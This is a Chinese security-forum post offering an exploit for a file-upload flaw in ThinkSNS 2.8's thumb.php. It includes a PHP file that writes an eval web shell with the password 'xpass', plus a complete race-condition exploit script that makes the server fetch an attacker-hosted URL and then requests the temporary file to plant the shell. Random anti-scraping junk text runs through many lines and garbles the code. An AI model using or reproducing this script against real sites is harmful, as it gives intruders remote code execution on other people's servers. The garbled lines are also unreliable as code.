找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2039|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本5 x! C9 C  C2 f! Z2 ~
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)9 B9 C4 S) d) e0 ^' _* \8 X* e6 P
漏洞文件( w( m, x' J0 N
存在漏洞的文件为:thumb.php) p# h, r: U$ ?1 q% `& I3 M
作者:韦鲲鹏0 Q" u% t4 V' E  |. s  U
1、        准备如下PHP文件并上传到服务器(自己的)。
" i: I* Q, y4 e! i' g* ~文件内容如下:
6 W* U3 k& y6 O1 x# ?# L. `<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
4 W( d$ V$ B, I# S# C$ Y2、        计算出临时的文件名:
& P+ s- w$ V5 Q: X这里我们可以看文件的99行(刚刚是不是没注意呀!)。
' g3 q: M$ k) X5 o' u  [& D' z. s5 Q7 ^0 ?  ^
3、        上传临时文件。
; T* {4 E2 Y% P6 k( E4、        访问临时文件。
# T8 K/ R' ?& v, Y1 r8 K但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
4 B4 a# c+ W4 w$ [8 ~- aExploit文件内容如下:(这个我就不详细解释了)6 r8 C  J/ G$ m8 V
<?php5 [1 `. g! V0 y
error_reporting(0);" p" z  \5 ?7 c9 R+ Q
set_time_limit(0);
5 t$ U/ C$ I/ [8 W, {+ m* mini_set(“default_socket_timeout”, 5);6 B7 e- h) k/ W6 M' L
function http_send($host, $port, $headers) {
* X, W  n; b$ {! s2 l) F, ?& w$fp = fsockopen($host, $port);
( d2 z$ z- ?5 x. Y1 K: D8 n+ Zif (!$fp) die(‘Connection -> fail’);
( b# w6 [. D  {; T' Mfputs($fp, $headers);
! s& v# ]( z2 F1 [" z' _0 c6 ^5 @return $fp;
/ ^* r! z( j' N+ h& m}
1 R3 X: s( r( T9 @( c% X2 tfunction http_recv($fp) {1 q# L( z; Z& x& v
$ret=”";; t( U( m- x9 F; y3 s" K8 X; _
while (!feof($fp))
0 s: t9 N* s0 k, V. [0 H; [2 `/ R$ret.= fgets($fp, 1024);3 t0 Y& Z( {) x* F0 ?
fclose($fp);
. J/ n$ K. r. H8 l. Qreturn $ret;3 b$ r2 ^4 X& l3 [' o! y
}; |$ g$ J# A0 F( C
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
" `5 @2 H$ p: k7 M* @+ y4 bprint “# Discovered by 韦鲲鹏 #\n\n”;$ G. y/ h0 `) C% E) [- Q" A  G
if ($argc < 4) {9 s- l5 _2 j8 @. W% T7 v
print “Usage:   php <host> <path> <romote_url>\n”;
& E; y5 f0 i# ?3 Q2 Bprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;. r0 O- |) {. k0 L7 Y' M- M# a( `
die();
) @- Z1 B: j% C9 l) W5 ~}: f: j0 D  F  D& l* U7 l
$host = $argv[1];
/ j) _. P6 {0 H; T$path = $argv[2];
! h2 {1 ~# p3 r' q$url = $argv[3];! h- g  q. E0 D/ S
$i=0;
* b: a. u* j; ~% R4 v; v//上传数据包4 l" Y: h! \8 m" r; y; ^; B
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
# |# e# U! R2 v9 x, v$headers_up .= “Host: “.$host.”\r\n”;
0 y+ H3 ^3 n# ^) `$headers_up .= “Connection: close\r\n\r\n”;
. [0 M* i) Q2 u4 a1 q$ `9 Xecho $headers_up;9 T$ Q6 S% D2 `& I* m/ c
//临时文件访问数据包. Q. y" A: ?- b8 ?: G. I
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;7 B3 v* B( h7 M; K4 J
$headers .= “Host: “.$host.”\r\n”;8 u5 N, I9 \' f' \" _+ D
$headers .= “Connection: close\r\n\r\n”;
8 g; M1 U( d6 lecho $headers;
! }) _, d- g# nwhile(++$i<10) {9 ]- x& U/ _: T/ M, ?
fclose(http_send($host, 80, $headers));
/ {6 j  W& a) y: i' q/ l- R}
& B8 N5 l: _0 U$ Rfclose(http_send($host, 80, $headers_up));
9 P& j/ P: Z1 U0 `while(++$i<50) {
; M5 I' p# C: B2 @* pfclose(http_send($host, 80, $headers));
' }7 S- D3 b2 s8 \8 [$ P& J}
3 g0 v0 R: w6 k; G; L$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
% m. E* x( ], A- d' v1 @" y$headers .= “Host: “.$host.”\r\n”;- @$ V5 N; J% x6 S
$headers .= “Connection: close\r\n\r\n”;
! a4 R9 Y1 J9 n4 D, z$ m6 d3 C$res=http_recv(http_send($host, 80, $headers));# ~1 f& s" a0 B( L- @; `
if(preg_match(‘/200 OK/’,$res)) {
) N+ |' h# W  }+ F4 r/ u" Q; Jprint “Success!\n\n”;8 n  ]4 e2 m7 H7 _% K( M4 K
} else {4 t" M9 m$ u3 E; s+ @
print “Fail!\n\n”;
: {, X* z6 D6 o: W+ Z3 C, y+ D}
  m- u" e* E' a$ N- f4 X?>
+ A' q: I2 N* ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表